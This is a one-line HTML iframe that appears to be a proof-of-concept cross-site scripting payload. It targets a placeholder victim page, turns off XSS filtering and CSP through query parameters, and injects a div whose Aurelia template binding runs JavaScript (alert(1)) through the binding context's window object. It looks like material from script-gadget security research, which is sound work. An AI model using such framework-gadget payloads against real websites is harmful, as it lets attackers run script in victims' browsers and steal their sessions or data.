<iframe src="//victim.example.com/repo/csp/sd/aurelia.php?xssfilter=0&csp=0&sanitize=closure&inj=%3Cdiv%20width=%22${bindingContext.ownerDocument.defaultView.alert(1)}%22%3E"></iframe>
